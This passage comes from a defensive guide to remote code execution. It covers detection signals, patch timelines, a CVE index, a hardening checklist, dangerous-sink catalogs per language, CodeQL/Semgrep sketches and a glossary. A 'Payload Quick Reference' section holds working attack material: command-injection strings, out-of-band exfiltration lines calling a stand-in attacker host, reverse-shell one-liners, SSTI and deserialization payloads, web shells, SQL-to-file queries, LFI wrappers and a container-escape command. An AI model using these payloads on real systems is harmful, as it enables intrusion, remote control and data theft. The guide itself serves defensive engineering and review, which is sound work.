  • Distroless or scratch images. The React2Shell incident demonstrates that missing bash/curl/wget breaks the post-exploit kill chain.
  • Egress allowlist. No outbound internet from workloads that shouldn’t phone home. Blocks C2, Mirai downloads, exfiltration.
  • Process time limits (RLIMIT_CPU, container runtime limits). Kills infinite beacon loops.
  • Seccomp profiles. Block mount, ptrace, kexec_load, bpf where unneeded.
  • AppArmor/SELinux enforced. Even when permissive, logs generate IR signal.
  • User namespaces for container workloads so root-in-container is not root-on-host.
  • Kernel hardening: kernel.dmesg_restrict=1, kernel.kptr_restrict=2, kernel.unprivileged_userns_clone=0 (where compatible), disable unused protocols.

Detection signals

SignalRCE class
New child process of nginx, java, node, python app → sh/bash/curlAny sink
/tmp, /dev/shm, /var/tmp executable file creationFile upload, dropper
Outbound to fresh ASN / non-CDN IP from app workloadC2
spawnSync/child_process telemetry from a Node app that never previously used itJS RCE
ObjectInputStream.readObject from an HTTP thread poolJava deserialization
/proc/sys/kernel/core_pattern writes from a containerrunc escape
Long command lines with base64 + pipeBlind command injection
Sudden outbound DNS burst with encoded labelsBlind exfiltration
nsenter, unshare, raw /proc/*/ns accessContainer escape
Unexpected .htaccess, web.config, .user.ini writesUpload → handler swap
WAF {{ or ${ plus reflection class names in responsesSSTI

Patch cadence lesson (from the “Lessons From 2025 Zero-Day Exploitation Shaping 2026” article)

Weaponization times observed in the corpus:

CVETime from disclosure to ITW
Langflow CVE-2025-3248< 24 hours
React2Shell CVE-2025-55182hours
n8n CVE-2026-21858hours
Langflow CVE-2026-33017~20 hours
WSUS CVE-2025-59287days

Operational conclusion: manual monthly patching is no longer sufficient for internet-facing software. Automate patch detection, pre-stage rollbacks, and maintain a short exposure window policy.


17. Payload Quick Reference

Command injection

; id
| id
& id
&& id
`id`
$(id)
$IFS$9id
${IFS}id
{id,}
%0aid
\nid
|| id ||
;id#
'; id;#
"; id;#
) id (
`{echo,dGVzdA==}|{base64,-d}`

Blind / OOB

; curl http://c.attacker/$(whoami)
; wget http://c.attacker/$(hostname)
; nslookup $(id|base64).c.attacker
; dig $(hostname).c.attacker
; ping -c1 $(id|cut -c1-20).c.attacker
; /bin/bash -c 'exec 3<>/dev/tcp/attacker/4444;cat<&3|bash>&3 2>&3'
; python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("a",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

Reverse shell one-liners (for CTF/lab use)

bash -i >& /dev/tcp/attacker/4444 0>&1
nc -e /bin/sh attacker 4444
mkfifo /tmp/p; cat /tmp/p|/bin/sh -i 2>&1|nc attacker 4444 >/tmp/p
perl -e 'use Socket;$i="a";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
php -r '$s=fsockopen("attacker",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("a",4444);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
socat TCP:attacker:4444 EXEC:/bin/sh

SSTI detection polyglot

Multi-engine server-side template injection detection payload that tests various template syntaxes simultaneously. Look for mathematical evaluation (49) or template-specific error messages.

SSTI RCE (copy list)

# Jinja2
{{ cycler.__init__.__globals__.os.popen('id').read() }}

# Twig
{{ ['id']|filter('system') }}

# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

# Velocity
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$x.waitFor()

# Smarty
{system('id')}

# ERB
<%= `id` %>

# Handlebars (constructor chain)
{{#with "s" as |string|}}...{{/with}}

Deserialization quickies

# Python pickle
python3 -c 'import pickle,os;class P:\n def __reduce__(self):return (os.system,("id",))\nimport sys;sys.stdout.buffer.write(pickle.dumps(P()))'

# Java ysoserial
java -jar ysoserial.jar CommonsCollections5 'id' | base64

# .NET
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"

# PHP phpggc
phpggc Laravel/RCE9 system id

File upload web shells

# Minimal PHP
<?php system($_GET['c']); ?>

# With header for magic bytes tolerance
GIF89a;<?php system($_GET['c']); ?>

# JSP
<% Runtime.getRuntime().exec(request.getParameter("c")); %>

# ASPX
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd","/c "+Request["c"]); %>

SQL → file

MySQL:      ' UNION SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php'--
Postgres:   COPY (SELECT '<?php ... ?>') TO '/var/www/html/s.php';
Postgres:   COPY t FROM PROGRAM 'id';
MSSQL:      EXEC xp_cmdshell 'whoami';

LFI wrappers (PHP)

php://filter/convert.base64-encode/resource=/etc/passwd
php://input  (POST body is executed if allow_url_include=On)
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+
expect://id
phar:///tmp/x.phar
zip:///tmp/x.zip#payload.php

Container escape (runc CVE-2025-31133 pattern)

After reaching a breakout primitive, the canonical host-exec is:

echo '|/tmp/x %P' > /proc/sys/kernel/core_pattern
# then crash any process → kernel executes /tmp/x as root on host

Mitigation: user namespaces, non-root container user, AppArmor/SELinux enforcing, patched runc.


Appendix A — CVE Index (from the research corpus)

CVEProductClassNotes
CVE-2025-55182React / Next.js / Remix (RSC Flight)Deserialization → RCEReact2Shell, CISA KEV, Mirai payloads
CVE-2025-6640xReact Server Components (follow-ons)Deserialization → RCERelated to React2Shell
CVE-2026-21858n8n webhooksExpression injectionPre-auth CVSS 10.0 “Ni8mare”
CVE-2025-68613n8nExpression injectionSandbox escape in server-side eval
CVE-2025-3248LangflowPython code injection (AST)/api/v1/validate/code, < 24h ITW
CVE-2025-34291LangflowAccount takeover + RCEExploited in the wild
CVE-2026-33017LangflowRCEAI pipelines compromised in 20h
CVE-2026-39987MarimoPre-auth RCE“Root in one request”
CVE-2026-22xxxvLLMMalicious video URLServer takeover
CVE-2025-49844RedisRediShell RCELua boundary
CVE-2026-34838Group-OfficeDeserializationAbstractSettingsCollection / FileCookieJar
CVE-2026-25769WazuhJava deserializationManagement API
CVE-2025-33244NVIDIA APEXJava deserializationInference server
CVE-2026-20131Cisco FMCCommand injectionPost-auth
CVE-2026-20094Cisco IMCCommand injectionRead-only user to root
CVE-2026-5707AWS RESShell-interpolation RCECrafted session name
CVE-2026-32746GNU/NetKit telnetdMemory corruptionUnpatched pre-auth root
CVE-2025-15467OpenSSLPotentially critical RCEJFrog advisory
CVE-2025-59287Microsoft WSUSDeserializationUnauthenticated
CVE-2025-31133runcContainer escape/dev/null symlink races
CVE-2025-52565runcContainer escape/dev/console mount race
CVE-2025-52881runcContainer escapeLSM bypass via attr redirect
CVE-2026-4585Tiandy Easy7Command injectionSurveillance web UI
CVE-2026-33717WWBN AVideoFile upload RCEPersistent PHP
CVE-2025-39601WP Custom CSS/JS/PHPFile upload / authzWordPress plugin
CVE-2025-7384WP pluginUnauthenticated file upload
GHSA-5f29-2333-h9c7OpenMetadataFreemarker SSTIEmail templates
GHSA-4j3c-fgvx-xgqqAirbyteSSTIConnection builder
GHSL-2025-035/037(build tool)Command injectionGitHub Security Lab

Appendix B — Hardening checklist (print this)

  • No eval, exec, Function, compile on any untrusted string.
  • No shell=True / shell-string concatenation in process spawn.
  • All subprocess calls use argv form with validated argv[0] and -- separator.
  • All deserialization is JSON/Protobuf with schema; no pickle/unserialize/BinaryFormatter/ObjectInputStream on untrusted data.
  • Template engines use sandbox mode (Jinja SandboxedEnvironment, Freemarker SAFER_RESOLVER + ?api disabled, Velocity SecureUberspector, Go never Parse(userInput)).
  • File uploads: allowlist, re-encode, randomize, store outside webroot, reject .htaccess/web.config/.user.ini, AV scan.
  • SQL is parameterized everywhere; no FILE privilege to app DB user; secure_file_priv set; xp_cmdshell disabled.
  • SSRF controls: egress allowlist, metadata service hardening (IMDSv2), DNS rebinding mitigation.
  • Containers: distroless base, non-root user, read-only FS, user namespaces, seccomp, AppArmor, runc ≥ 1.4.0-rc.3 / 1.3.3 / 1.2.8.
  • Patch cadence: internet-facing software patched within 24–72 hours of critical disclosure; automation in place.
  • Runtime detection for new process spawns from web tiers, writes to /proc/sys/kernel/*, unexpected egress.
  • AI agents that ingest untrusted data do not have code_interpreter or shell tools; or run in ephemeral sandboxes with egress allowlists.
  • Supply chain: lockfiles, signature verification, ephemeral CI runners, no pull_request_target with secrets on untrusted PRs.
  • Dependency scanning: osv-scanner, pip-audit, npm audit, trivy in CI with blocking severity thresholds.
  • Secrets on workloads are minimum-scope and short-lived; no long-lived cloud credentials on servers that handle user input.

Appendix C — Language-specific sink catalog

A more exhaustive list to keep at hand when doing code review or writing Semgrep/CodeQL queries.

Python

Direct exec:         eval, exec, compile, execfile
Import side effects: __import__, importlib.import_module, importlib.util.spec_from_file_location + exec_module
Pickle family:       pickle.load, pickle.loads, cPickle.*, dill.load, jsonpickle.decode, shelve.open, pandas.read_pickle
YAML:                yaml.load (no Loader), yaml.full_load when input contains !!python/object
Shell:               os.system, os.popen, subprocess.* shell=True, commands.getoutput, popen2.*
Template:            jinja2.Template, jinja2.Environment(loader=...).from_string, mako.template.Template, Django Template with RequestContext and custom tags
Reflection gadgets:  operator.attrgetter, getattr chain, __class__ walk
Web:                 flask.render_template_string, tornado.template with user body
ML:                  torch.load without weights_only=True, tensorflow.saved_model.load, joblib.load, keras.models.load_model with custom_objects
Other:               marshal.loads, xdrlib, code.InteractiveInterpreter, IPython's get_ipython().run_cell

Node.js / JavaScript

Direct exec:         eval, Function, new Function, vm.runInContext, vm.runInNewContext, vm.runInThisContext, vm.compileFunction
Modules:             require(dynamicPath), import(dynamicPath), module._compile
Child process:       child_process.exec(string), execSync, spawn with shell:true, execFile shell:true
Template:             handlebars.compile(user), ejs.render(user, opts with filename), pug.compile(user), doT.template(user), lodash.template(user), mustache.render(user) with custom delimiters
Deserialize:         node-serialize.unserialize, funcster.deepDeserialize, serialize-javascript
React/Next:           RSC Flight payloads (see CVE-2025-55182), server actions with unchecked revalidation, __NEXT_DATA__ hydration with untrusted blob
Prototype pollution  RCE gadget: Object.prototype mutations affecting child_process env, lodash.set user paths

Java / Kotlin

Scripting:           ScriptEngineManager.getEngineByName("js|groovy|python"), GroovyShell.evaluate, Nashorn, JEXL Engine, MVEL.eval, SpEL SpelExpressionParser.parseExpression
OGNL:                OGNL.getValue on attacker strings (Struts2 history)
Reflection:           Class.forName(user).newInstance(), Method.invoke with user method name
Deserialize:         ObjectInputStream.readObject, XMLDecoder.readObject, XStream.fromXML default, Jackson enableDefaultTyping + polymorphic, SnakeYAML Yaml().load default, Kryo without registration, Hessian.decode
JNDI:                InitialContext.lookup(user), Log4j ${jndi:...}, Spring LdapTemplate with user DN
Runtime exec:         Runtime.exec(String), ProcessBuilder(String...), Desktop.open
Template:             Freemarker Configuration default, Velocity old Uberspector, Thymeleaf fragment expressions with user input
Class loading:        URLClassLoader with user URL, custom ClassLoader.defineClass with user bytes

PHP

Code exec:            eval, assert (older), create_function (deprecated), preg_replace with /e modifier (deprecated), include/require with user path, include_once, mb_ereg_replace with /e
Shell:                system, exec, shell_exec, passthru, popen, proc_open, backticks, pcntl_exec, mail() with -X LogPath (historic)
Deserialize:          unserialize, phar:// stream wrapper triggering __destruct
Template:             Twig createTemplate, Smarty fetch with user template
Callback:             call_user_func, call_user_func_array with user callable, array_map/array_filter callback
File:                 file_put_contents to webroot, move_uploaded_file, copy, fopen "w" to webroot
Session:              session handler pointing at attacker-controlled save handler

Ruby

Code:                 eval, instance_eval, class_eval, module_eval, binding.eval, send with arbitrary method, public_send, Object.const_get
Shell:                system, exec, %x{...}, backticks, Kernel#open("|cmd"), Open3.* with string, IO.popen with string
Deserialize:           Marshal.load, YAML.load (< Psych 4 default), YAML.unsafe_load
Template:             ERB.new(user).result, Haml::Engine.new(user), Slim::Template.new {user}
Rails specifics:      send_file with user path, render file: user, paperclip style callbacks, strong params bypass + mass assignment  serialized column deserialization

Go

Template:             text/template Parse on user body, FuncMap exposing os/exec/io helpers, html/template with safe wrappers removed
Shell:                 exec.Command("sh","-c",user), exec.Command(user)
Reflection:           reflect.Value.Call on user-chosen method
Plugin:                plugin.Open on user .so
Gob:                   gob.Decode of attacker data into interface types
Path:                  os.OpenFile with user path in writable location

.NET

Deserialize:          BinaryFormatter, NetDataContractSerializer, SoapFormatter, LosFormatter, ObjectStateFormatter (ViewState), Json.NET with TypeNameHandling != None, DataContractJsonSerializer with KnownTypes misuse
Code:                 CSharpCodeProvider.CompileAssemblyFromSource with user code, Roslyn CSharpScript.EvaluateAsync, Expression compilation on attacker trees
Shell:                Process.Start with ProcessStartInfo.UseShellExecute=true, cmd.exe /c
Reflection:           Assembly.Load on user bytes, Activator.CreateInstance with user type name
Web:                  Razor engine compiling user .cshtml (RazorEngine library vulnerable patterns)

Perl

Code:                 eval STRING, do FILE with user path, require with user path, string eval inside regex (?{...})
Shell:                `...`, qx//, system STRING, open("|cmd"), open(">$userfile"), two-arg open (historic)
Template:             Template Toolkit PERL/RAWPERL blocks, Text::Template

Appendix D — CodeQL query sketches

High-level starting points for custom queries. These are sketches, not complete queries.

Python: untrusted string to exec/eval

import python
import semmle.python.dataflow.new.DataFlow
import semmle.python.dataflow.new.TaintTracking
import semmle.python.Concepts

class CodeExecSink extends DataFlow::Node {
  CodeExecSink() {
    exists(API::CallNode c |
      c = API::moduleImport("builtins").getMember(["exec","eval","compile"]).getACall()
      and this = c.getArg(0)
    )
  }
}

class HttpParamSource extends RemoteFlowSource {
  HttpParamSource() { this instanceof Flask::RequestSource or this instanceof FastApi::RequestSource }
}

module Cfg implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node n) { n instanceof HttpParamSource }
  predicate isSink(DataFlow::Node n) { n instanceof CodeExecSink }
}

Java: ObjectInputStream readObject from HTTP

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.UnsafeDeserializationQuery

from DataFlow::PathNode source, DataFlow::PathNode sink
where UnsafeDeserializationFlow::flowPath(source, sink)
      and source.getNode() instanceof RemoteFlowSource
select sink, source, sink, "User input reaches $@ deserialization sink.", source, "here"

Go: template.Parse with tainted body

Look for (*template.Template).Parse or template.New(...).Parse(x) where x is tainted by HTTP request.

JavaScript: child_process.exec with string concat

Semgrep one-liner:

rules:
  - id: node-exec-concat
    pattern-either:
      - pattern: child_process.exec("..." + $X + "...", ...)
      - pattern: child_process.exec(`...${$X}...`, ...)
      - pattern: child_process.execSync("..." + $X)
    message: Possible command injection via string concatenation into exec
    severity: ERROR

Appendix E — Glossary

TermMeaning
SinkThe dangerous call at the bottom of a taint flow (e.g., exec, unserialize).
SourceWhere attacker-controlled data enters (HTTP request, header, filename, DB row).
GadgetA class whose methods, when invoked by a deserializer, provide useful primitives.
Gadget chainA sequence of gadgets composed to transform a deserialize call into code execution.
Shadow vulnerabilityA bug that is not assigned a CVE because the underlying engine is “working as designed,” but the real-world usage is exploitable (see Go SSTI).
Pre-authReachable without any authentication.
PrimitiveA small building block of exploitation: arbitrary read, arbitrary write, relative write, info leak, etc.
EscapeBreaking out of a sandbox/container/VM/interpreter restriction.
KEVCISA Known Exploited Vulnerabilities catalog — strong signal of ITW exploitation.
ITWIn the wild.
C2Command and control — attacker infrastructure for controlling compromised hosts.
DropperSmall payload whose job is to download and run the real payload.
Reverse shellTarget initiates the connection back to the attacker.
Bind shellTarget listens, attacker connects in (blocked by most egress firewalls in either direction).
LFI / RFILocal / remote file inclusion.
UAFUse-after-free.
ROP / JOPReturn / jump-oriented programming — reuse existing instruction sequences to bypass W^X.
RSCReact Server Components — server-rendered React with a custom serialization protocol (Flight).
RCERemote code execution — the subject of this guide.

Compiled from 63 research sources on RCE vulnerabilities, exploitation techniques, and defensive engineering — clipped 2025–2026. Use for defensive security research and engineering review.